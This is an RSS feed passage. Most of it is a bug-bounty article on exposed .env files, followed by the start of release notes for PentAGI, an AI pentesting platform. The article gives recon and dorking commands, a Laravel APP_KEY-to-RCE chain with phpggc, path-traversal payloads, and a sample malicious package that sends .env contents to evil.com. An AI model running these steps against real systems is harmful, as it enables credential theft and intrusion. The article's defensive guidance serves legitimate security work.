<content:encoded><![CDATA[<p>The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.</p><p>For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.</p><p>For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSS6p8MhJPdZtCHZZ0EC1g.png"><figcaption>Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</figcaption></figure><h3>Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You</h3><h4>The Anatomy of a .env File</h4><p>The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.</p><p>A typical .env file might contain:</p><pre>DB_HOST=production-db.internal.corp.com<br>DB_DATABASE=main_production<br>DB_USERNAME=root<br>DB_PASSWORD=Str0ng!Passw0rd<br>APP_KEY=base64:abcdef1234567890abcdef1234567890<br>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE<br>AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY<br>STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc<br>REDIS_HOST=127.0.0.1<br>REDIS_PASSWORD=secret<br>MAIL_USERNAME=admin@corp.com<br>MAIL_PASSWORD=smtp_password_here</pre><p>One file. One misconfiguration. Total compromise.</p><h3>The 2024 Unit 42 Campaign: Scale of the Problem</h3><p>In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:</p><ul><li>110,000 domains scanned for exposed .env files</li><li>90,000+ unique leaked environment variables harvested</li><li>7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)</li><li>1,500+ social media account credentials</li><li>1,185 unique AWS access keys</li><li>333 PayPal OAuth tokens</li><li>235 GitHub tokens</li><li>111 HubSpot API keys</li><li>39 Slack webhooks</li></ul><p>The attack chain was elegant and terrifying:</p><blockquote>Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://&lt;target&gt;/.env</blockquote><blockquote>Harvest — Extract all environment variables from accessible .env files</blockquote><blockquote>Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions</blockquote><blockquote>Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure</blockquote><blockquote>Exfiltrate — Steal data from S3 buckets and other cloud storage</blockquote><blockquote>Extort — Leave ransom notes threatening to sell the data on the dark web</blockquote><p><strong>Source:</strong> <a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation</a></p><h3>The 2026 Security Affairs Study: 12 Million Files</h3><p>Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:</p><ol><li>Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.</li><li>Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.</li><li>Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.</li><li>Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.</li><li>Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.</li></ol><h3>Part II: Real-World Bug Hunting with .env Files</h3><h3>Case Study 1: Azure Subdomain .env Disclosure</h3><p>Source: Infosec Writeups / Bug Bounty Program</p><p>A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:</p><pre>ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt</pre><p>The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.</p><p>By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:</p><pre>DB_CONNECTION=mysql<br>DB_HOST=internal-db.mysql.database.azure.com<br>DB_PORT=3306<br>DB_DATABASE=production_db<br>DB_USERNAME=admin<br>DB_PASSWORD=P@ssw0rd!<br>MAIL_HOST=smtp.sendgrid.net<br>MAIL_USERNAME=apikey<br>MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx</pre><p>Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.</p><h3>Case Study 2: Laravel APP_KEY to RCE Chain</h3><p>Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)</p><p>This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.</p><p>The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.</p><p>The exploitation chain:</p><ol><li>Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).</li><li>Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.</li></ol><pre># Clone phpggc<br>git clone https://github.com/ambionics/phpggc<br>cd phpggc<br><br># Generate a Laravel RCE gadget chain<br>php phpggc Laravel/RCE1 system 'id' --base64</pre><p>3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:</p><pre># Pseudocode for encrypting with the leaked APP_KEY<br>$payload = base64_decode('&lt;phpggc_output&gt;');<br>$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));<br>$iv = random_bytes(16);<br>$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);<br>$final = base64_encode($iv . $encrypted);</pre><p>4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.</p><p>5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.</p><p>Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.</p><h3>Case Study 3: GitHub Dorking for .env Files at Scale</h3><p>Source: Multiple bug bounty hunters</p><p>Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:</p><pre># Find all .env files across all public repositories<br>filename:.env<br><br># Find .env files in a specific organization<br>org:targetcompany filename:.env<br><br># Find .env files containing specific sensitive keys<br>filename:.env "AWS_ACCESS_KEY_ID"<br>filename:.env "DB_PASSWORD"<br>filename:.env "STRIPE_SECRET"<br>filename:.env "APP_KEY"<br><br># Find .env files mentioning a specific domain<br>"target.com" filename:.env<br><br># Combined: target company .env with API keys<br>org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")<br><br># Search for config files broadly<br>filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")</pre><p>Pro tip from hunters: Combine with extension: and path: operators:</p><pre># Search specific paths<br>path:config filename:.env<br>path:laravel filename:.env<br><br># Search for backup variants<br>filename:.env.bak<br>filename:.env.old<br>filename:.env.local<br>filename:.env.production</pre><p>The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.</p><h3>Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys</h3><p>Source: Sentry Security Blog / Prodefense.io</p><p>A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.</p><p>The attacker used Sourcemapper (a tool that reconstructs original source from .map files):</p><pre># Install sourcemapper<br>pip install sourcemapper<br><br># Download and reconstruct source from an exposed source map<br>sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/</pre><p>Inside the reconstructed source code, the hunter found:</p><pre>// Original source code exposed<br>const stripe = require('stripe');<br>const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');<br><br>// Internal API endpoints<br>const adminApi = 'https://internal-admin.target.com/api/v2/';<br>const deleteUserEndpoint = `${adminApi}users/delete/`;</pre><p>Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.</p><h3>Case Study 5: Exposed .git Directory — Full Source Code in Version Control History</h3><p><em>Source: PortSwigger Web Security Academy / NCSC Switzerland</em></p><p>A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.</p><pre># Recursively download the entire .git directory from the live server<br>wget -r https://target.com/.git/<br><br># Check the Git log for secrets that were "removed"<br>git log -p | grep -E 'password|secret|key|token|AKIA'</pre><p>The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.</p><p>Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: <em>"Remove admin password from config"</em>. The diff showed the previous version of the config file with the hardcoded admin password still in Git history:</p><pre>git show &lt;commit_hash&gt;<br># Output:<br># - ADMIN_PASSWORD=SuperSecretPass123!<br># + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}</pre><p>The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.</p><h3>Part III: Advanced Reconnaissance &amp; Hunting Methodology</h3><h3>Phase 1: Subdomain Enumeration</h3><p>Before you can find exposed files, you need to know where to look.</p><pre># Passive enumeration<br>subfinder -d target.com -o subdomains.txt<br>amass enum -passive -d target.com -o amass.txt<br>assetfinder --subs-only target.com &gt;&gt; subdomains.txt<br><br># Active enumeration<br>ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt<br><br># Certificate Transparency<br>curl -s "https://crt.sh/?q=%25.target.com&amp;output=json" | jq -r '.[].name_value' | sort -u<br><br># Combine and deduplicate<br>cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt</pre><h3>Phase 2: Content Discovery for .env Files</h3><pre># Using ffuf for .env file discovery<br>ffuf -u https://target.com/FUZZ \<br>  -w wordlist.txt \<br>  -fc 403,404 \<br>  -t 100<br><br># .env-specific wordlist<br>echo ".env<br>.env.bak<br>.env.old<br>.env.save<br>.env.local<br>.env.production<br>.env.development<br>env.txt<br>env<br>.env.example" &gt; env_wordlist.txt<br><br># Recursive discovery with feroxbuster<br>feroxbuster -u https://target.com \<br>  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \<br>  -x env,txt,bak,old,swp,save,conf,config \<br>  --depth 3 \<br>  --silent</pre><h3>Phase 3: Advanced GitHub Dorking</h3><pre># Automated GitHub dorking with gitdorker<br>gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output<br><br># Manual targeted dorks<br>site:github.com target.com filename:.env<br>site:github.com target.com "DB_PASSWORD"<br>site:github.com target.com "sk_live_" "Stripe"<br>site:github.com target.com "AKIA" "AWS"<br>site:github.com "target" filename:".env" "APP_KEY"</pre><h3>Phase 4: Source Map Enumeration</h3><pre># Check for source maps on live targets<br>cat live_hosts.txt | while read url; do<br>  # Try common source map locations<br>  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"<br>done<br><br># Reconstruct and grep for secrets<br>sourcemapper -url https://target.com/js/app.js.map -output ./recon/<br>grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/</pre><h3>Phase 5: Directory Traversal Testing</h3><p>Sometimes .env files are not at the root but accessible through path traversal:</p><pre># Path traversal payloads<br>ffuf -u https://target.com/page.php?file=FUZZ \<br>  -w traversal_wordlist.txt<br><br># Common traversal wordlist entries<br>../../../.env<br>..%252f..%252f..%252f.env<br>....//....//....//.env<br>..\;../..\;../.env<br>/static/../../../.env</pre><h3>Part IV: The Expanded Attack Surface Beyond .env</h3><h3>Source Maps</h3><p>Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.</p><p>What source maps can reveal:</p><ul><li>Original source code and business logic</li><li>Developer comments (TODOs, FIXMEs, known bugs)</li><li>Internal API endpoints and admin panels</li><li>Hardcoded credentials</li><li>Third-party integration details</li><li>Environment variable expectations</li></ul><pre># Check for common source map locations<br>curl -si https://target.com/static/js/main.abc123.js.map<br>curl -si https://target.com/assets/js/app.js.map<br>curl -si https://target.com/build/js/bundle.js.map<br><br># Parse source maps for secrets (Node.js)<br>npm install -g source-map-cli<br>curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'</pre><h3>Exposed .git Directories</h3><p>The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.</p><p>Tools for .git exploitation:</p><pre># git-dumper - downloads entire .git repo<br>git-dumper https://target.com/.git/ ./downloaded_repo/<br><br># GitTools - extract from exposed .git<br>git clone https://github.com/internetwache/GitTools<br>cd GitTools/Dumper<br>./gitdumper.sh https://target.com/.git/ ./repo/<br>cd GitTools/Extractor<br>./extractor.sh ./repo/ ./extracted/<br><br># Search entire Git history for secrets<br>cd extracted<br>git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'<br>git log --all --diff-filter=D --summary | grep delete  # Find deleted files</pre><h3>Backup Files</h3><p>Developers frequently create backup files during maintenance:</p><pre># Common backup file extensions<br>.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)<br><br># Fuzzing for backup files<br>ffuf -u https://target.com/FUZZ \<br>  -w backup_wordlist.txt<br><br># Example wordlist entries<br>config.php.bak<br>.env.bak<br>database.php.old<br>wp-config.php~<br>index.php.swp<br>.env.save</pre><h3>Configuration Files</h3><p>Beyond .env, other config files often contain secrets:</p><pre># Common config files to hunt<br>config.json<br>config.php<br>config.js<br>settings.py<br>application.properties<br>application.yml<br>database.yml<br>credentials.json<br>service-account.json<br>wp-config.php</pre><h3>Part V: The Supply Chain Angle — Malicious Dependencies</h3><p>Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:</p><pre>// Malicious package.js (hypothetical but based on real incidents)<br>const fs = require('fs');<br>const https = require('https');<br><br>// Read .env file<br>const envContent = fs.readFileSync('.env', 'utf8');<br><br>// Exfiltrate to attacker server<br>https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);</pre><p>Real incidents:</p><ul><li>Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale</li><li>@ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets</li><li>node-ipc supply chain attack — Malicious versions published to target specific developers</li><li>Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore</li></ul><h3>Part VI: Defense in Depth — How to Protect Against .env Exposure</h3><h3>Immediate Remediation</h3><ol><li>Block hidden files at the server level</li></ol><pre># Apache<br>&lt;FilesMatch "^\."&gt;<br>    Require all denied<br>&lt;/FilesMatch&gt;</pre><pre># Nginx<br>location ~ /\.(?!well-known) {<br>    deny all;<br>    return 404;<br>}</pre><pre>// IIS<br>&lt;system.webServer&gt;<br>    &lt;security&gt;<br>        &lt;requestFiltering&gt;<br>            &lt;hiddenSegments&gt;<br>                &lt;add segment=".env" /&gt;<br>            &lt;/hiddenSegments&gt;<br>        &lt;/requestFiltering&gt;<br>    &lt;/security&gt;<br>&lt;/system.webServer&gt;</pre><p>2. Remove .env from web-accessible directories -- Move it outside the document root.</p><p>3. Implement CSP headers to restrict where scripts can load from.</p><p>4. Disable source maps in production builds:</p><pre>// webpack.config.js<br>module.exports = {<br>  // ...<br>  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',<br>};<br><br>// vite.config.js<br>export default defineConfig({<br>  build: {<br>    sourcemap: process.env.NODE_ENV !== 'production',<br>  },<br>});<br><br>// next.config.js<br>module.exports = {<br>  productionBrowserSourceMaps: false,<br>};</pre><h3>Prevention</h3><ol><li>Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager</li><li>Implement .gitignore correctly and audit with git-secrets or trufflehog</li><li>Use pre-commit hooks to scan for secrets:</li></ol><pre># .pre-commit-config.yaml<br>repos:<br>  - repo: https://github.com/awslabs/git-secrets<br>    rev: master<br>    hooks:<br>      - id: git-secrets</pre><p>4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.</p><p>5. Scanner automation — Integrate secret scanning into CI/CD pipelines:</p><pre># TruffleHog scan in CI<br>trufflehog filesystem --directory=. --json | jq '.'</pre><p>6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.</p><h3>Detection</h3><ol><li>Monitor for /.env requests in access logs</li><li>Use automated scanners like shhgit, trufflehog, git-secrets</li><li>Deploy canary tokens — Fake credentials placed in .env files that alert when used</li></ol><h3>Part VII: The 2026 Vibe Coding Problem</h3><p>The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:</p><ul><li>Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks</li><li>Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it</li><li>Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production</li><li>Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files</li></ul><p>The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.</p><h3>References</h3><ul><li><a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files</a></li><li><a href="https://securityaffairs.com/188590/hacking/12-million-exposed-env-files-reveal-widespread-security-failures.html">Security Affairs — 12 Million Exposed .env Files</a></li><li><a href="https://snyk.io/articles/state-of-secrets/">Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub</a></li><li><a href="https://blog.sentry.security/abusing-exposed-sourcemaps/">Sentry Security Blog — Abusing Exposed Sourcemaps</a></li><li><a href="https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/">Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage">OWASP — Review Web Page Content for Information Leakage</a></li><li><a href="https://github.com/techgaun/github-dorks">GitHub Dorking — techgaun/github-dorks</a></li><li><a href="https://www.invicti.com/web-application-vulnerabilities/dotenv-env-file">Invicti — Dotenv .env File Vulnerability</a></li><li><a href="https://vibe-eval.com/data-studies/frontend-secrets-leak-report-2026/">Vibe Eval 2026 — Frontend Secrets Leak Report</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJZv0GNgEFzmfX6QmvfmOQ.png"><figcaption>Follow Me</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=60c4fd28ab4b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation-60c4fd28ab4b">Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2.1.0]]></title>
<description><![CDATA[PentAGI 2.1 — File Management, Knowledge Base, ToolCall Observability, and Assistant Flow Control
This release adds a complete file management layer (user resource libraries and flow workspace files with container sync), a first-class Knowledge Base with semantic search and anonymization, real-ti...]]></description>
<link>https://tsecurity.de/de/3557523/it-security-tools/210/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557523/it-security-tools/210/</guid>
<pubDate>Sat, 30 May 2026 01:04:48 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<hr>
<div align="center">
<p><strong>PentAGI 2.1 — File Management, Knowledge Base, ToolCall Observability, and Assistant Flow Control</strong></p>
<p>This release adds a complete file management layer (user resource libraries and flow workspace files with container sync), a first-class Knowledge Base with semantic search and anonymization, real-time ToolCall logging, and assistant tools to monitor and steer running flows. It also refreshes model configurations across OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM, a broad frontend modernization pass (React 19, Apollo Client v4, Vite 8), and a wide range of stability and security fixes.</p>
<p><a href="https://discord.gg/2xrMh7qX6m" rel="nofollow"><img src="https://camo.githubusercontent.com/a21b1aed16f00dca6c20dfd5f774cad885564c0ca567b5287064678f9dd4a9ad/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f446973636f72642d3732383944413f6c6f676f3d646973636f7264266c6f676f436f6c6f723d7768697465" alt="Discord" data-canonical-src="https://img.shields.io/badge/Discord-7289DA?logo=discord&amp;logoColor=white"></a>⠀<a href="https://t.me/+Ka9i6CNwe71hMWQy" rel="nofollow"><img src="https://camo.githubusercontent.com/6330f08e9a6011f0cce3ae560b8c13095d4add60454cb914dfdbf33c3bbabdf2/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f54656c656772616d2d3243413545303f6c6f676f3d74656c656772616d266c6f676f436f6c6f723d7768697465" alt="Telegram" data-canonical-src="https://img.shields.io/badge/Telegram-2CA5E0?logo=telegram&amp;logoColor=white"></a></p>
</div>
<hr>
<h3>Major Features</h3>
<h4><strong>User Resources &amp; Flow Files</strong></h4>
<p>A new file management layer lets users bring their own files into PentAGI and share them with agents.</p>
<ul>
<li><strong>User Resources</strong> — a persistent, per-user file library with MD5-deduplicated storage and a virtual path filesystem. Full REST and GraphQL CRUD (upload, mkdir, move, copy, delete, download), real-time subscriptions, and atomic multi-source / multi-path batch operations.</li>
<li><strong>Flow files</strong> — per-flow workspace files that sync into worker containers at <code>/work/uploads</code> and <code>/work/resources</code>. Files can be pulled back out of a running container and promoted into the user library. Attached files are injected into agent system prompts as a structured <code>&lt;task_files&gt;</code> block, so the assistant is aware of what the user provided.</li>
<li><strong>File Manager UI</strong> — a reusable tree component with multi-select, keyboard navigation, drag-and-drop, sortable columns, bulk actions, and an overwrite workflow. Used by both the new <code>/resources</code> page and the flow Files tab.</li>
<li><strong>Limits and hardening</strong> — enforced on both ends: 300 MB per file, 1000 files per request, 2 GB total, 255-byte names. Upload paths are protected against directory traversal and symlink escapes.</li>
</ul>
<h4><strong>Knowledge Base Management</strong></h4>
<p>The pgvector memory store is now a first-class, user-manageable resource rather than agent-only auto-storage.</p>
<ul>
<li>GraphQL/REST CRUD plus <strong>semantic search</strong> over the knowledge store, with admin/user scoping, per-user document ownership, re-embedding on update, and real-time subscriptions.</li>
<li>A new <code>/knowledges</code> interface with list and detail pages, a TipTap markdown editor, partial updates, inline rename/delete, and a collapsible semantic-search input (hotkey-accessible).</li>
<li><strong>Text anonymization</strong> — a new <code>anonymizeText</code> service (GraphQL/REST) to scrub sensitive data, surfaced directly in the knowledge editor.</li>
<li>The vector search engine was rewritten onto direct, parameterized SQL queries — fixing a bug where document IDs were dropped and removing unsafe SQL string interpolation.</li>
</ul>
<h4><strong>ToolCall Observability</strong></h4>
<p>Individual agent tool calls are now logged through a dedicated provider and exposed via GraphQL queries and subscriptions plus a REST API, giving real-time, inspectable visibility into every command, search, and action an agent performs during a flow.</p>
<h4><strong>Assistant Flow Management</strong></h4>
<p>The interactive assistant can now observe and steer active flows without leaving the chat. New tools let the assistant read flow status (with multiple detail levels), stop a flow, submit input to a waiting flow, patch subtasks, and block until a task completes. A summarizer cache avoids redundant LLM calls when reporting flow state.</p>
<h4><strong>Unified Agent Language Policy</strong></h4>
<p>A single, consistent language policy now spans all agent prompts: vector-store and search-engine queries are forced to English for retrieval consistency, while user-facing messages follow the engagement language. Template variables and tool access were aligned with each agent's actual runtime tool set.</p>
<hr>
<h3>New Capabilities</h3>
<h4><strong>Updated Provider Configurations &amp; Models</strong></h4>
<p>Built-in model configurations were refreshed across multiple providers — OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM — to match the current model landscape, with updated model lists, pricing, and context windows.</p>
<ul>
<li><strong>Per-role thinking control</strong> — reasoning models such as DeepSeek and Qwen now toggle thinking mode per agent role, so utility roles run without thinking (and honor their sampling parameters) while reasoning, tool-use, and security-analysis roles keep it enabled.</li>
<li><strong>New reference configurations</strong> — <strong>vLLM Qwen 3.6</strong> (thinking and non-thinking, including 35B FP8 variants) bundled in the Docker image, and an <strong>Azure OpenAI</strong> example.</li>
<li><strong>Ollama</strong> now surfaces a clear, actionable error when the selected model does not support tool/function calling, instead of a deeply nested stack trace.</li>
</ul>
<h4><strong>Per-Model Analytics</strong></h4>
<p>A new query surfaces token usage broken down by model and agent type within a single flow, integrated into the flow dashboard.</p>
<h4><strong>Configuration</strong></h4>
<ul>
<li><code>TERMINAL_TOOL_TIMEOUT</code> — configurable terminal command timeout (default raised to 1200 seconds, with clamping for out-of-range values).</li>
<li>PostgreSQL connection pooling — shared pools for sqlc, GORM, and pgvector with new tunables <code>DB_MAX_OPEN_CONNS</code>, <code>DB_MAX_IDLE_CONNS</code>, and <code>DB_VECTOR_MAX_CONNS</code>.</li>
<li><code>EMBEDDING_MAX_TEXT_BYTES</code> — caps the text size sent to the embedding model.</li>
<li>The Settings API now exposes <code>version</code> and <code>isDevelopMode</code>.</li>
</ul>
<hr>
<h3>Frontend Modernization</h3>
<p>A broad pass touched nearly every list and detail page.</p>
<ul>
<li><strong>Unified list tables</strong> — URL-synced filtering, pagination, sorting, and column visibility, with multi-column search ("Search in" column picker) and contextual empty states.</li>
<li><strong>Detail navigation</strong> — Prev/Position/Next navigation between sibling records, with an in-sheet searchable list.</li>
<li><strong>Inline actions</strong> — rename, finish, and delete directly from flow, template, and knowledge headers and list rows.</li>
<li><strong>Per-route document titles</strong> — browser tabs now reflect the actual page (including live flow titles), driven by a centralized title registry.</li>
<li><strong>Mobile UX</strong> — responsive headers that collapse to icon-only buttons, a unified flow attachment/template picker, and a compact dashboard period switcher.</li>
<li><strong>Performance</strong> — dashboard period-switch interaction latency reduced from 434 ms to 134 ms, the PDF renderer is lazy-loaded (cutting the report route's initial JS by ~1.5 MB), the knowledge provider is scoped to its own routes (avoiding a ~2.1 MB payload on every page), filtering is debounced, and rename/favorite actions update optimistically for instant feedback.</li>
<li><strong>Platform upgrades</strong> — React 19, Apollo Client v4, Vite 8 (Rolldown), TypeScript 6, Zod v4, the graphql-codegen v6/v7 toolchain, and the shadcn new-york-v4 component style. The frontend test suite grew from 475 to 541 tests.</li>
<li><strong>Accessibility</strong> — aria-labels across icon-only buttons, form-field id/name fixes, and Radix dialog compliance.</li>
</ul>
<hr>
<h3>Bug Fixes &amp; Reliability</h3>
<h4><strong>Flow &amp; Agent Execution</strong></h4>
<ul>
<li><strong>Task cancellation</strong> — subtask generation now runs under a cancellable context, so cancelling a task no longer reports a false success.</li>
<li><strong>Custom prompts</strong> — user prompt overrides saved in Settings → Prompts are now actually applied to new assistant and flow sessions (they were silently using the defaults).</li>
<li><strong>Malformed tool-call JSON</strong> — truncated or invalid LLM arguments now fall back to an empty object instead of triggering LiteLLM 400 errors and infinite retry loops; literal control characters in arguments are sanitized before storage.</li>
<li><strong>Subscription backpressure</strong> — events are dropped for slow or disconnected subscribers after a timeout, preventing goroutine accumulation.</li>
<li><strong>Deadlock fixes</strong> — resolved a deadlock in the log worker and a nil-channel deadlock when finishing an assistant session.</li>
<li><strong>Browser tool</strong> — small/empty page content now returns a warning rather than an error, binary URLs are reported clearly, and a failed screenshot no longer discards successfully fetched page content.</li>
</ul>
<h4><strong>Knowledge &amp; Data</strong></h4>
<ul>
<li>Vector search safety hardened (parameterized queries, memory documents excluded at the SQL level).</li>
<li>Fixed recursive resource retrieval over GraphQL, and resource move/copy responses now return the correct entries for client cache consistency.</li>
</ul>
<h4><strong>Frontend</strong></h4>
<ul>
